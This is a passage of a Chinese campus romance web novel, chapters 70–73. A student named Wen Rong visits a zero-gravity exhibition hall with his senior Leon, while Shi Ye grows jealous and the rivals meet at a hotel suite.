做高定这一行,第一步就是有人上门提定制需求,特别是学校里这些同学的亲戚,只要穿出去参加一次宴会,张锦程的名声就能在贵太太圈子里打开。 当初王艾伦也是起来的。 张麟由衷为张锦程感到高兴,在新闻社“同沉沦”多年,彼此见证彼此的失败岁月,那种绝望太刻苦铭心了,此刻终于看到好友的事业起步,比自己成功了还要兴奋。 说来这一切还要感谢老幺! 真是个可爱的宝贝。 张麟急道,“你得请老幺吃饭,他可是大功臣。” “我就不是功臣吗?”时野不知道什么时候飘到了两人身后。 张麟一愣,电光火石间迅速回忆时野做的事。 借摄影设备给他们。 把时家手下娱乐公司的水军借给他们。 确实是大功臣,虽然这些的起始点都是因为老幺的美色。 张麟谄媚道,“是,时哥你是大功臣,我们社长请客吃饭你千万不能缺席。” 时野满意点头。 随即一通电话打到温绒手机上,张麟给温绒讲张锦程的喜报,又讲林启正的小号涨粉。 没开扬声器,时野脑袋忍不住往听筒那边凑,想听温绒说话。 “你哪儿去了,我们晚上准备一起吃顿饭。” 微弱的声音模模糊糊传来,时野听不清,但看见张麟的笑容逐渐消失。 “嗯嗯,那改个时间,你那边的事情重要。” 挂断电话,时野着急问:“怎么了?周谢又找他麻烦?” 张麟看时野的瞬间迟疑了下,“那个……” “他出事了?”时野着急。 “没,就是……就是……” “就是什么啊,你会不会说人话。” 张麟浅浅吸一口气,往张锦程的方向靠,“老幺说莱昂回来了,他要陪莱昂去个地方,明天才回学校。” 第70章 第 70 章 共同拥有 莱昂打电话叫个专车, 上高速,开两个小时左右,直到远处出现巨大的火箭广告牌。 温绒好奇望过去, 听到莱昂介绍,“这里是联邦天文科技展览馆。” “天文……” “小时候有没有幻想过自己能飞?” “有!” 温绒掷地有声地回答,一时激动忍不住回头,视线一黑,仿佛被庞然巨物盖住。 正好车子驶入隧道,周遭彻底陷入黑暗,只剩下耳朵里呜呜的风声。 他吞咽唾液, 一动不敢动,直到光落进来。 莱昂学长的眉心贴着窗户,距离很近, 温绒看清骨骼分明的下巴上长出短短的金色绒毛。 紧接着,发根传来被拨弄的轻痒,一阵一阵, 跟呼吸同一个频率。 “有点痒。”温绒忍不住说。 “什么?” 学长说话,就更痒了。 温绒缩了缩脖子, 伸手抚过被吐息吹拂的头发,身子下压,小声道,“没什么。” 如果有车从旁边路过, 大概可以看到这辆车的后座车窗上叠着两颗脑袋,黑色的脑袋只露出双漂亮眼睛,上面是金色脑袋,歪了下,笑意极深。 山路蜿蜒, 七拐八拐终于抵达山顶,巨大的现代建筑门口标注着“联邦天文科技展览馆”。 下车,走近大门,正好瞧见铁栏上用A4纸写着字:周五闭馆。 温绒猛然一愣,“学长,今天是不是闭馆?” 莱昂拉着他的手臂往里走,“没事,学长是关系户。” 关系户·莱昂果然顺利把他带进大门,仿佛进自己家似的熟练,扫脸进馆,穿过一楼巨大的火箭布景,坐电梯上楼。 四楼有四五个穿着深蓝色工装服的人在,都是生面孔,身高体壮,走路步伐干脆利落,像是训练有素的专业人员。 他们跟莱昂打招呼,莱昂点个头,继续拉着温绒往里走。 最里面,终于来到一个满是护栏的地方。 像极了迷宫,半人高的护栏便是那墙,来来回回绕好几圈。 看出温绒的困惑,莱昂解释,“这是科技馆的热门项目,平时有很多人过来体验,所以设置这些排队的护栏。” 听起来是热门项目。 温绒点个头,抬眼看见护栏尽头一片黑暗,猜不出是什么东西让游客趋之若鹜。 “你应该会喜欢这里。” 莱昂学长刚说完,温绒脚下突然亮起蓝色的长条光,从下之上延伸至屋顶,形成一个光圈。 借着这样的光,他约莫看清墙面构造,玻璃的,里头有类似大型机器的结构,像科幻电影里才会出现的场景。 随着莱昂学长带他往里走,一圈一圈的光亮起来,温绒彻底带入进去,觉得自己这个“外星人”好像回到了故乡。 走到一排柜子前时,莱昂骤然停下,“进去需要先寄存东西,手机这些会离身的物件都要存起来。” 滴—— 莱昂一边操作柜子一边说:“摸摸口袋,把东西都给学长。” 温绒听话伸手揣进口袋,先把最大块的手机递交,本来以为自己应该没东西了,谁知道指尖忽然触碰到柔软的布料,浑身一震。 “怎么了?”莱昂敏锐发现他的细微变化。 “没……”温绒硬着头皮把丝袜放进箱子里。 莱昂瞥一眼,笑了,“怎么带这种东西。” “早上拍照的时候张麟学长带的,他说把这种薄荷绿色的丝袜套在皮肤上能修饰瑕疵。” “这么神奇?” “嗯。” “有效果吗?” 学长怎么这么好奇啊。 温绒尴尬回应,“应该有吧,张麟学长说有。” “你没有试?” 还问…… 温绒动了动嘴,没说话。 这也是他不太想把丝袜拿出来的原因,怕学长追问,自己也不知道该怎么回答。 “不能说吗?” 温绒猛猛摇头,深吸口气说:“学长说我是白斩鸡,用不上。” “噗嗤。” 有种被缺点被发现的窘迫,温绒忍不住说:“我现在在跟时野学习打网球了,以后我会长肌肉的,也能晒成性感的小麦色。” “你还知道小麦色?” “网上看到的。”温绒再补一句,“很好看。” “那……加油?” 温绒闷闷嗯一声,看见莱昂关上储物柜,才终于松了口气。 莱昂带着他继续往里走。 大概二十来米,温绒都在想这个神秘项目可真神秘,这么长的路,平时不会都排着队吧? “要不要牵着学长的手?” “啊?” 莱昂在黑暗中举起手,重复一遍:“要不要牵着学长的手。” 温绒反应过来,连忙摇头,“不用不用。” 虽然习惯群居生活的他以前睡大通铺、洗大澡堂,但两个男生牵手总感觉有些怪异。 “嗯,那进去吧,慢点。” “好的。” 温绒跟着莱昂走进门帘,那一瞬间,仿佛好像有风刮来,脚底不稳。 他困惑的低头,只看见白色的地板,而且也明确感觉不到风,衣服也没有被吹飞。 再过一个门帘,站不稳的感觉竟然更加明显。 他在困惑中慢慢意识到,这或许是“失重”。 “学长,这……” 跨过第三个门帘,温绒控不住身体向后倾倒,惊恐地望向莱昂的方向,莱昂抬手摁住他的肩膀,笑了声。 “吃太少了。” 说完,下巴指指前方,示意温绒看。 前方一片光亮,看不清是什么东西,但温绒感觉自己所处的位置似乎是洞穴,会像电视剧里一样,朝光走去,能一下子看见悬崖、瀑布…… 果不其然,走到尽头时脚下突然一空,低头,没看见瀑布悬崖,只有个十来米深的“井”,光秃秃的,没有任何造景。 温绒第一次知道自己恐高,光是这样看已经头晕目眩。 “这里是失重体验厅,模拟了人在太空中失重的状态,你也可以理解为飞。” 温绒迷茫地重复:“失重……” “伸手。” 他已经晕头转向,哪里还有间隙考虑合适不适合,伸出手被莱昂拉着跌进洞里。 如同人掉进水中,脸颊两边鼓起,憋气。 衣服、头发,都开始飘摇。 “张嘴,这里面可以呼吸。” 温绒听话张大嘴,果然没有水涌进来,连忙深吸一口气。 “好玩吗?” 温绒扭头看见金色的发丝跟缎子一样飘摇,学长穿了件宽松的t恤,没像他把衬衫压在裤子里,在这种诡异的失重状态,衣摆上腹,露出一截肌肉饱满的腰。 “我无聊的时候回到这里来。” “这种感觉跟飞起来很像。” “很自由。” 声音左耳朵进右耳朵出,温绒通通听不清了,飞起来的感觉太过满足,完全占据他的心脏、脑子,以及每一个细胞。 砰砰砰,他仿佛能听见一切膨胀起来的声音,嘴巴大大张开,也不知道自己是不是笑得五官扭曲,完全忘形。 他感觉自己真的在飞。 这种奇妙的体验好像在做梦一样。 连飞机都没坐过的他,飞在半空中! 好酷! “要学长教你怎么在失重状态下控制身体吗?” 温绒的嘴巴光用来笑了,说不出话,只用力点头。 四层楼高的柱形失重体验厅在修建时参考了水族馆的设计,玻璃幽蓝,光线一照,壁面波光粼粼。 纤瘦身影被环抱在宽阔的胸膛里,双臂伸展,紧密相贴。 只有他们两个,谁都打扰不了。 时野仰起脖子,第一次痛恨自己过于了解这位一起长大的朋友,只是脑子简单想一想,就猜到他会带温绒来这里。 孤独地凝望片刻后,时野转身走向标注着“安全出口”的长廊。 玻璃是透明的,他看得见他们,他们反应过来也会看见他。 时野不敢想象自己变成“电灯泡”的画面。 然而拐进走廊,没走几步,身体猛然顿住。 介绍失重体验馆创始人的墙面上,挂着缩小版金色头发蓝眼睛的脸。 时光如潮水般涌来,潺潺水声像极了茶园里虫子的叫声。 妈妈们距离他们很远,这边只有时野跟周谢大战三百回合产生的噪音。 最后时野凭借刚学会的拳击技巧成功夺得遥控器,周谢气极,联合李奥一起砸了电视。 “天呐。” “又闹事了。” “有没有受伤。” 佣人管家忙着收拾残局,胜利者无奈成了边缘人物,郁闷地抱着遥控器发呆。 随即,无意间看见莱昂端端正正坐在沙发上写写画画。 小时野凑上去,看到密密麻麻的文字跟符号,问:“这是什么?” 如果问的是周谢,那周谢肯定会说“这都不懂,蠢货”,但问的是莱昂,莱昂想了几秒,回答:“能让人飞起来的公式,你还小,看不懂,只有周谢能看懂。” “谁说我看不懂!” 莱昂把本子递给他:“那你看。” 时野瞥一眼陌生的符号,绷着脸硬说:“不就是能让人飞起来的公式。” 莱昂笑笑:“嗯。” 时野在那笑意中感受到其他情绪,继续硬说:“我真的能看懂。” “嗯。” 时野忍不住问:“飞起来……跟动漫里一样吗?” “对。” “我也要写。” 莱昂:“你看不懂。” “我我……我现在就回去学,明天就能看懂了。” …… 金发蓝眼的旁边,另一幅画,黑眼睛黑头发的小男孩笑容灿烂到时野不敢承认是自己。 ——莱昂·冯·勒文斯坦 ——时野 两个小孩经过一年时间,终于研究出“能让人飞起来的公式”,又在父母的帮助下,成功建成这个失重体验馆。 这个地方,即是两个人的荣耀,也是两人的友谊证明,大概在很多很多年后,有人说起这段往事,也会讲:两个关系好的小朋友一起创造了奇迹。 时野盯紧并排的两幅照片,甚至还能记得拍照那天阳光很好。 当时的太阳却照不进此刻的眼底。 ——为什么温绒不能像这份荣誉一样,共同拥有。【你现在阅读的是 】 70-80 第71章 第 71 章 学长的竹马 那温绒呢?愿不愿意。 时野猜, 温绒大概是不愿意的,他只想要莱昂。 在他心里,莱昂甚至比新闻社的三人还要重要。 这很正常, 因为开学时只有莱昂对他好。 乱七八糟的思绪在脑子里纠缠,时野忽然扯开嘴角,无奈笑笑。 笑自己竟然正儿八经地在想“共同拥有”这件事。 再怎么美化,这也是当小三。 他的美好人生毁于张婉菲这个小三,现在自己竟然想当小三。 疯了。 偌大的科技馆静悄悄,偶尔有研究人员走过,说着话, 说明不是一个人,只有自己形影单只。 胸口越来越难受,好像被空气压住了, 呼吸冗长。 他甩头离开这条阴森的走廊,到门口,山风吹来, 又干又冷,迫得发丝根根直立, 脑子被迫清醒。 温绒也不是只跟莱昂单独相处,他也和自己单独相处过的。 教温绒打网球的时候,温绒会模仿自己的动作,自己说“不对”, 他会“啊?”一声,粉色的唇瓣微微张开,舌尖抵着下牙,有点呆,又有点蠢。自己忍不住伸手纠正, 握住纤细的手腕,他也不抗拒,任由自己动作。 乖乖学生的样子比猫还听话,让时野的“控制欲”得到大大的满足。 那个时刻,真的很想像猫一样把温绒抱起来,用力吸他的头发,闻那种连温绒自己都闻不到的味道。 仅仅幻想这样的行为,都让时野的嘴角忍不住提起,被吹冷的脑子热起来,发胀。 可是当这样的幻想变成电影,温绒成为隔着屏幕的陌生人,他身边的人变换成金色头发的莱昂时,一阵冷再次侵袭全身。 时野垂下脑袋,眼底的光消散。 这两天,突然想到温绒的情况越来越多了。 比以前更多。 因为温绒很会让他开心,会让他感到意外,还会……折磨周谢。 时野了解莱昂,也了解周谢,知道周谢看到热搜时会是什么表情,所以这段时间以来被周谢折腾的火气都在知道温绒给周谢挖坑的瞬间消散——他甚至敢让周谢吃瘪!多机灵有趣的人! 就是这样,才越来越被吸引,无知无觉间彻底跨过“我跟好朋友喜欢上同一个人”的障碍。 他想跟温绒在一起,特别想,非常想。 “学长也约了时野吗?”背后突然传来声音。 时野背上肌肉一动,机械地回头。 温绒手里拿着展览馆的广告传单走出来,莱昂跟在他身后,手里有团白色的东西,绕着打圈。 时野细看,发现那是早上张麟给温绒的丝袜,虽然温绒最后没穿,但莱昂直接把那东西绕在指尖有些暧昧。 冷峻的脸上变幻万千,湛蓝的眼睛不露声色,“嗯。始终是我强行让你放别人鸽子,不太好意思,所以想着晚饭大家一起吃。” 又直勾勾看向时野,“新闻社的三个还没到吗?” 一起长大的默契让时野瞬间明了莱昂的意思,沉默着回头摸手机给林启正发消息。 林启正秒回:[这不好吧~] 时野:[速来。] 林启正:[你们这阵势应该叫上梁学长,要是你愿意,也可以叫时竞。总之不是我们这些npc该参加的场合啦。] 自从上次把林启正带去别墅单独询问,林启正在他面前就开始甩脸子了。 时野深感自己位卑言轻,关上手机,“他们都不来。” “那……你要是不介意的话,我们三个一起?”莱昂看向温绒。 时野从那眼神中看到“期盼”,还说“你不介意的话”,直觉莱昂是希望温绒拒绝。 温绒肯定会拒绝。 时野都想自己识趣点趁早离开,那边温绒用力却点头,“好呀!” 莱昂嘴角微僵,时野受宠若惊,“真要我跟你们一起?” 温绒继续点头,“学长跟时野应该也好久没见了,趁机也聚一聚。” 莱昂重新笑:“嗯,还是你想得周到。” 回程坐的时野的车。 莱昂来的时候叫的展览馆专车,现在去吃饭的地方自然不好意思再让人家帮忙。 成功加入两人的时野开心没几分钟,从后视镜看着后座两人,第一次痛恨自己车太多,选择太久,就忘记开那辆两座的拉法出来,也不至于像现在一样独自坐在前排,掌握方向盘,当个完全可以忽略的司机。 要是开学的时候对温绒好一点,现在就是莱昂当司机。 “学长,这个也是你负责的吗?”温绒忽然指着宣传单上的一处凑到莱昂跟前。 时野也被吸引过去,视线透过后视镜看到莱昂偏头回答,“不是。” 又遗憾道,“我其实没你想象中的厉害,也不是什么都会。” 时野:? 莱昂还会谦虚? 温绒震惊:“怎么会,学长你是我认识的最厉害的人。” “真的?” “嗯。” “你这么说学长很开心,是很厉害的夸人办法,以后可以经常这么夸。” “嗯嗯。” 艹! 时野手用力拍一下方向盘,脑子里仿佛被注入四维世界的奇妙智慧,难以置信又震惊:还可以这样??? 一条路开到尽头,驶入停车场,时野逃命似的解开安全带下车。 没走出去几步,想到自己不仅当了司机、电灯泡,现在硬着头皮往上冲势必是要去定位置搞安排的,那不就是各种爱情电影里的神秘助攻? 去他大爷的助攻。 他才不要当助攻。 于是机器人一样倒回来,强硬地站在旁边,等着温绒跟莱昂一起下车才走。 虽然温绒看他的眼睛有几分奇怪。 “看什么看?”时野控制不住情绪粗声问。 “没……” 温绒低头继续看宣传册。 时野:“……” 完了。 酒店的vip电梯四面都磨得光亮,合上门瞬间,意识到自己态度不好的时野忍不住滑到温绒身上,想看看他有没有因为自己失控而生气。 手握宣传册,神色沉静,目光满是对知识的渴望。 看来没有。 莱昂似乎比他更了解温绒的喜好,只是稍稍一出手,温绒就展示出了平时不会露出来的喜欢。 时野心想自己肯定对温绒的观察还不够,没莱昂仔细。不经意间,跟温绒旁边一双湛蓝的眼睛对上视线。 莱昂嘴角弯弯,似乎对他的偷看行为并不意外。 时野仓促别开脸,忍不住想莱昂是什么意思。 那种明了一切,又风轻云淡的神色,跟平时隔岸观火一样冷静。 难道他没那么喜欢温绒吗? 时野双手插进兜里,捏起两个大拳头。 温绒看起来很喜欢莱昂,要是莱昂没那么喜欢温绒,温绒岂不是会很难过。 虽然是朋友,但时野一直觉得莱昂并不算什么好人,至少他的性格在亲密关系里绝对不够好。 这样的莱昂肯定不会一直喜欢温绒,说不定几年后家里安排联姻,他立马就甩了温绒。 时野垂头蹙眉,思绪像是行驶在无人区,哪里恐怖去哪里。 万一莱昂不喜欢温绒怎么办? 万一莱昂玩弄温绒的感情。 如果真是这样,他—— 叮 电梯门打开,一道光洒进来,无人区都被装上信号站,明晰许多。 他不该质疑朋友,莱昂不是圈子里乱搞的花花公子,至少在大事上莱昂一直都很靠谱,所以莱昂对温绒流露出来的喜欢是真的。 时野张开嘴,吐出口气。 而一抬头,视线触及几乎几乎挡住电梯大门的两个人时,再次深吸口气。 他又一次痛恨自己太寻常地开车来到这家酒店,又太寻常地上这一层楼。 妈妈的茶话会影响太过深远,他、莱昂、周谢、李奥,四个人的生活重合率高到吓人。 果不其然,温绒向后退,半边身体躲在莱昂的身后。 在校外谁都没有穿弗罗里曼学院的校服,但周谢跟李奥守着正常人不守的规矩,白衬衫,黑西服,黑外套,像是刚参加完国际会议。 周谢低着下巴,眼珠子从最高的时野打量到莱昂,最后穿过金色发尾,落在苍白俊秀的小脸上。 好不巧,早上被摆了一道,出来散心,在心情转好时,又碰见了摆自己一道的始作俑者。 阴魂不散 死缠烂打 挥之不去—— 周谢别开视线,想着这么多人被这张脸迷得晕头转向,时野就算了,莱昂也偏向他,忍不住冷笑。 多大的魅力? 好奇心促使他抬眼,瞄回莱昂肩膀后面的脸。 皮肤有种不健康的白,难见血色,碎发下,眼睫浓密,勾得眼睛的轮廓很深,缀着两捧泉水,水里装着硕大的玻璃珠,分不清颜色,很浅,橙色的电梯灯下,泛着五彩斑斓的光芒。 “好巧。” 莱昂的声音促使周谢回神,他低下眸子,简单“嗯”一声。 要走,莱昂又喊住他,“既然来了就一起吃顿饭吧。” 周谢本意想拒绝,莱昂偏头向温绒说:“简单吃顿饭,有什么误会也好解开。” 大概是说早上的事。 周谢脑子转得快,眨眼间就明白莱昂的用意。 早上得知所有事情后莱昂心情大概是不妙的,现在冷静下来,他明白了温绒跟自己对着干没好处,想从中调和。 温绒确实是很烦人的一根刺,算不上对手,但总莫名其妙给他招惹一些麻烦。周谢想,也确实该解决掉,不然以后还不知道会闹出多少事。 李奥大概以为周谢的沉默是拒绝,主动说:“我们晚上还有事。” 周谢抬手示意他别再说话,微一侧身,看向莱昂,“你请客。” 你请客—— 周谢表明了态度,这件事他没错,是温绒有错,所以莱昂这个站在温绒身后的人请客赔罪。 莱昂无所谓地提了提唇角,“当然我请,从小到大哪次不是我请客?” 莱昂从来都是四人关系里的润滑剂,时野一个热爱竞技追求胜利的好战分子,周谢一个满肚子坏水的上位者,谁都不肯低头,闹起矛盾来只有莱昂能从中调和。 在场四人各怀心思,只有温绒站在莱昂身后不知道该怎么办。 毕竟……他后面还有大招,现在跟周谢讲和,那大招都不好放了。 “学长,电梯门要合上了。”可温绒不好当面驳莱昂的面子,只好岔开话题。 时野率先走出电梯。 莱昂给温绒解释,“小时候,我妈妈跟她的朋友聚餐时总会带上我,但她又不想我打扰她们说话,就在酒店这边订了间套房,让我自己在里面玩。” 走廊上五人各怀心思,脚步凌乱,踩得地板噔噔噔响。 随着脚步声越来越乱,空气也越来越紧,温绒为“讲和”发愁,心不在焉地听着莱昂解释。 “我妈妈的朋友们也这样想,所以他们的小孩也跟我在同一间套房里。” 提到朋友,温绒来精神了,“哇,那你们算是竹马吗?” “嗯。” “妈妈的友谊延续到了你们身上,好有缘分。学长跟他们还有联系吗?” “嗯。” “那你们绝对是世界上关系最好的朋友了。” 脚步声骤然停止,一张张脸回过来,四双眼睛八个眼珠子,跟舞台上的聚光灯似的,一同打在温绒身上。 温绒:“…………” 温绒:? 第72章 第 72 章 动心 咔擦 莱昂推开旁边的双开门, 挑眉,“这里只有我们四个住。” 温绒后知后觉,学长说的朋友就是时野周谢李奥, 顿时脑筋卡壳。 莱昂学长跟时野的关系并不让他感到意外,开学时时野就会去莱昂学长的宿舍了,但周谢跟莱昂学长竟然是从小一起长大的朋友! 系统的声音时空穿越来到耳边,温绒终于想起来,他们是“F4”啊,等主角出场,他们就会联合起来了。 那时野从展览馆到这里的一路上表情不好, 是因为…… 温绒悄悄挪动眼珠子,朝时野的方向瞥,时野太高, 只见到个下巴,视线就率先跟时野身后的周谢对上。 很奇怪,都是黑框眼镜, 温绒戴着的时候应该是丑的,但在周谢脸上莫名有种阴森感。 温绒收回眼, 也终于理解了学长要让自己跟周谢讲和。 学长对自己很好,跟周谢又是竹马,夹在中间一定很难做。 “进来吧。” 温绒跟在莱昂后头进门。 这是一间酒店套房,入门有一扇半透明的长形屏风, 背后的大客厅宽敞通透,整面墙的落地窗连着阳台,可以俯瞰海景。 走到客厅,左手边有巨大餐桌,但没有厨房, 只有一整面墙的酒柜以及两个智能冰箱。 右手边楼梯旋转上升,莱昂带他上楼,走廊一面墙一面排列房门,靠里第二个,是莱昂学长的目的地。 温绒犹豫要不要进去,毕竟进别人卧室似乎不太礼貌,而且自己也没换鞋,弄脏地板多不好意思。 但莱昂说:“呆在外面会不会不自在?” 温绒连忙进去了。 五十平米的小房间跟普通人的卧室差不多,只不过床对着的墙上是一个巨大架子,摆满书跟cd。 在落地窗的位置,有一卷刻意下降的幕布。 温绒猜这里是学长用来学习看电影的地方,而他天然对书感到亲切,忍不住把脸凑上去。 “都是些禁书。” 温绒一愣,“禁书?” “未成年不许观看的书,还有一些名著的未删减版。”顿了下,“也没什么特别的,主要是床戏。” 床戏! 温绒忙不迭收回眼,有种被针扎了的感觉,浑身不自在。 “这种东西放在宿舍不合适,所以我藏在这边。” “嗯嗯。”温绒胡乱应声。 “还有一些碟片。” 温绒回忆起学长发给自己的视频,再次愣住了,“学长经常看吗?” 莱昂沉默地望着他笑了片刻,转身从衣柜里抽出件睡衣。 说完,双手抓住衣角把t恤脱下来。动作特地放慢,甚至感觉到背部的肌肉因为紧张而缓慢挪动,然而穿上睡衣回头时,发现温绒镇定地看着窗外,像是在礼貌避嫌。 莱昂想了想,说:“成年人都会选择比较私密的地方发泄欲望,这里就是我的秘密基地,所以你才会看到这里全部都是那些影片。” 又补一句,“其实我没那么常来。” “嗯嗯。” “不感兴趣吗?”莱昂故作失望,“我以为你会有兴趣呢,之前时野就喜欢在我这边拿cd去看。” “唔……” 温绒虽然总被新闻社的学长们骂呆,但这段时间他有进步的,隐隐约约知道学长在跟自己分享那些不能给普通朋友分享的大秘密。 可能在学长眼里,他跟自己是超级要好的朋友了。 对此温绒感到开心,有样学样,“我也有秘密要告诉你。” “嗯?什么秘密。” “……”学太快,没准备好台词。 温绒左思右想,自己好像除了系统的事情也没有什么秘密了。 不过系统的事情肯定不能给别人说。 “很难说出口吗?” 温绒再次努力想了下,说:“其实不想跟周谢和好,我还有大招要对付他。” “大招?”莱昂没有忍住,噗嗤别开脸笑。 温绒不太好意思,“学长,你夹在中间是不是很难做?” 又补充,“可是我不得不这么做。” “不得不?” “我发现,掌握权力的这些人不允许普通学生向学校申请资源,普通学生只能做小伏低,或许还要抛弃道德迎合他们。但这他们还是看不起普通学生,只会拿根骨头诓骗玩弄普通学生。” 莱昂本来打算带温绒了解成人的世界,没想到温绒进入了过于健康的成人世界。 算了,脱衣服都没有任何反应,还能指望什么。 莱昂低头无奈笑笑,顺着温绒的话问:“所以你打算为了普通学生做这些?” “我只是为了新闻社的学长们。” “只是为了他们?” “嗯嗯。” “为什么?” “因为他们是我的好朋友。” 去研究基地前环绕在莱昂身边的烦恼再次涌出,温绒似乎对新闻社的三位特别好,在他心里,自己比不上新闻社的三位。 莱昂也不知道哪里出了差错。 咚咚咚 恰好外面有人敲门,这个话题暂时打住。 时野来问晚上吃什么,眼神不住往房间里瞥,瞥完回到莱昂身上,眼皮子上抬,“你换衣服了?” 莱昂暧昧地点头,扭头问温绒,“晚上想吃什么?” 温绒还停留在跟莱昂分享豪情壮志的情绪中,中气十足道,“我不太会做菜,我可以帮你们洗菜。” 时野眉毛一撇,“你看我们谁像会做菜?” 说完视线尴尬瞥开,语气放软,“我让酒店送上来,你直接说你想吃什么。” “我……” 迟疑的时刻,莱昂说:“不知道自己想吃什么的话,也可以说不吃什么,酒店的厨师会看着办的。” 时野双手在裤兜里攥紧,再这样短促的对话里,他觉得自己被莱昂的贴心比下去了。 但想到莱昂把自己丢在外面跟周谢李奥干瞪眼,他跟温绒在全都是色情片的房间里独处,忍不住直白地问:“你们到底什么时候出来。” “哦哦。” 温绒以为是指责,连忙朝门外走,莱昂伸手把他一拦,“我还有事情要单独跟你说。” 温绒:“啊?” 时野蹙眉。 莱昂保持微笑,“你先去安排晚饭吧,你回来我跟温绒也差不多说完了。” 再次看向温绒,“有点话想单独跟你说。” “好的。”温绒又退回房间。 时野垂头看着站一块儿的四只脚,忍不住在心里吐槽。 怎么跟莱昂关系那么好。 啪嗒 房间门不遂时野的心意无情合上。 空荡荡的走廊,孤零零的他,有种被抛弃的恶劣感觉。 房间内 “学长,时野从展览馆开始就心情不太好。”在莱昂开口前,温绒主动说。 “你看得出来?” “我学习了微表情课程,而且我很熟悉时野生气的样子了。” “很熟悉时野?” “因为他总是生气呀。”温绒想了想,“他是不是在吃醋?” 莱昂笑意减弱,“你看出来他在吃醋了?” “嗯嗯。” “你能看出来他吃醋,为什么看不出来我……” 后面的话头无法说出口,全数咬在舌尖等着温绒意会。 “学长你也?!”温绒瞪圆眼睛,“我们三个不可以一起吗?” “不可以。”莱昂不假思索地回绝。 “啊?”温绒愣然。 原来不能三个人同时做关系更好的朋友吗? 他有些难过地低下头,“那你应该要跟时野好好做朋友吧,毕竟你们从小一起长大。” 莱昂沉默了几秒,笑意彻底消失,“你刚才说的什么意思?再说一遍,说清楚。” 温绒乖乖解释,“时野跟你不是竹马吗?你带我去展览馆玩不带他,他应该不开心吧?所以情绪一直怪怪的,因为好朋友被抢了。” 莱昂:“…………” 温绒:“?” 莱昂咬牙,嘴里吸进一口凉气,“你……” 温绒:“?” 莱昂抿唇,抬手揉了揉眉心,“嘶——我给你讲个故事。” “啊?”温绒困惑地歪头。 “一对夫妻结婚了,当晚妻子却跑出来给所有人说她丈夫是变态,以至于丈夫丢了工作,甚至后来自杀结束生命。” 温绒难以置信,“为什么是变态,还要以至于?” “因为追究真相会发现,是妻子一点也不懂性知识,把夫妻之间的正常性行为误认为变态。” 温绒更更难以置信:“这个故事是真的吗?” 莱昂伸手在温绒脑袋上轻轻一拍,带了点劲,有轻轻的碰撞声。 “假的。只是想告诉你,成年人还不懂性只是会闹笑话。” 咔擦 莱昂拉开门,“走吧,小——笨——蛋——” …… “表哥,校长发消息过来说他有个亲戚想找张锦程定制蚕丝外套,让你帮张锦程疏通一下制作渠道。” 阳台上,周谢闭着眼睛吹海风,整件衬衫都被充盈成圆鼓鼓的球。 “表哥?” 周谢:“把王艾伦手里的工匠全部挪到张锦程手下去。” “全部?” “嗯。” “这样更容易能引起他们的矛盾吗?” 周谢沉默了两秒,“这是防止王艾伦跟张锦程扯皮影响工期。” 又说:“我不是时时刻刻都想让别人不痛快。” 李奥自知失言,闭上嘴,默默在手机里回复消息。 “莱昂竟然把他带来这里。”周谢突然主动出声。 李奥花了几秒时间反应话里的意思,点头,“嗯,有些意外,这里第一次有外人进来。” “他都没问过我允不允许。” “……” “那个特招生,除了长得漂亮点,还有什么可取之处吗?” 李奥自然是不知道的,他也很困惑为什么莱昂跟时野都为温绒着迷。 明明是个没有背景,不知天高地厚的特招生而已。 “或许只是觉得新奇想要接触一下吧,过段时间就好了。”顿了下,“总不可能真有跟他结婚的想法。” 说完,周谢安静了,恰好手机里来了新消息,是黒鸽的后台提示。 李奥露出周末被迫加班的厌烦,给周谢说:“表哥,因为特招生在论坛里发的帖子,最近很多人都向学生会提了申请单,想要申购材料制作可以自保的小型器械,要驳回还是通过。” “又是他——”周谢回头来,发丝啪啪往脸颊上拍,“他脑子里为什么总会蹦出奇怪的东西?” 牛马李奥无奈汇报,“这几年网上关于霸凌和独居的新闻很火爆,基本都是弱势群体无法自保。” 说着说着,说到了自己在乎的地方,情绪高涨起来,“其实我也有点兴趣,最近我想到一种触手机器人,虽然没有人手灵活,但可以……” 周谢打断他,“你说为什么?” “什么?” “那个特招生为什么总是出其不意。” “……”李奥意识到有什么地方不对劲,但说不出来。 正好楼上传来脚步声,疑问的正主跟在莱昂后面下楼。 周谢下巴压低,眼珠子直直飘过去。 第73章 第 73 章 我愿意奉献一生追随他(…… 温绒面上郑重其事地说:“那我不结婚就好了”。 话题离奇, 叫人联想不到上一句是什么。 听完话的莱昂表情微变,大概是不满意这个回答的,不过没说什么“那你要断子绝孙”之类的下流话, 而是叹口气,无奈弯了弯嘴角,“你才18岁,确实也不用考虑得那么长远”。 “嗯嗯。” 温绒兴奋点头,莱昂脸上的笑意减弱几分。 话题结束,两人恰好也一起走下了楼梯。 风很大,李奥看见自家表哥理了下被风吹乱的衣服, 乘着风穿过落地窗,回到客厅。 他表哥是习惯被奉承的人,进门后依照往常参加晚宴的模样, 冷着脸,视线轻轻瞥过去,一副“等着你来求我”的姿态。 只是莱昂显然满心都在温绒身上, 在把温绒拉到沙发上的几秒钟里没有分给他一个眼神。 温绒没参加过任何人晚宴,就更不可能意会到自家表哥的动作。 所以表格只能尴尬站定, 背影像平地拔起的长方体。 李奥想,要不要被风吹进去呢。 但心里有个声音让他在风里再站会儿,万一表哥又做什么搞笑的事呢。 嘴角扬起,忍不住笑。 但很快反应过来自己做了什么, 心中产生愧疚感:我竟然看表哥的笑话。 自从表哥让他照搬林启正的科普软件,似乎总是出现这样的情况。 “中午吃什么。” 意料之外,是他表哥先开的口,还主动坐到莱昂的对面,翘起腿, 俨然一副政客风范。 莱昂斜眼过去,大概是早上刚打过一架,到现在还有芥蒂,并没有好脸色。随后下巴一抬,往阳台这边望,“李奥,你表哥问你中午吃什么。” 怎么强行把我拉进战局了。 李奥无奈穿越落地窗,“我刚才看到时野下去,应该是他定。” 其实他并不清楚时野出去干嘛,自从时竞入学,时野把表哥的老爷车改装完送回学生会,他俩之间就没有交集了。 甚至刚才碰面时野就没给过表哥好脸色,出去自然是没留下什么话的。 但这会儿把不在场的人拉出来最合适。 他表哥接过话头问:“你说你请客,让时野去安排是不是太不礼貌了。” 莱昂从容:“我没勾着他又去找他同父异母的弟弟,让他帮个忙有什么不礼貌?” “……” 李奥看见自家表哥翘起的鞋尖在发抖。 抖—— 定—— “他连个私生子都弄不死,凭什么要我只跟他对接。” “对接……好好好,对接。”莱昂鼓掌,“没问题,有什么问题,你不就是这样,一个恩客一个恩客的换。” 李奥有种预感,莱昂又要飙出下流的话气自家表哥了。 不行的,表哥因为早上的事心情已经很差,莱昂又会戳别人痛处,要是再吵下去,说不定要打架。 说心里话,李奥不想看到他们打架。 表哥跟时野的关系已经很差了。 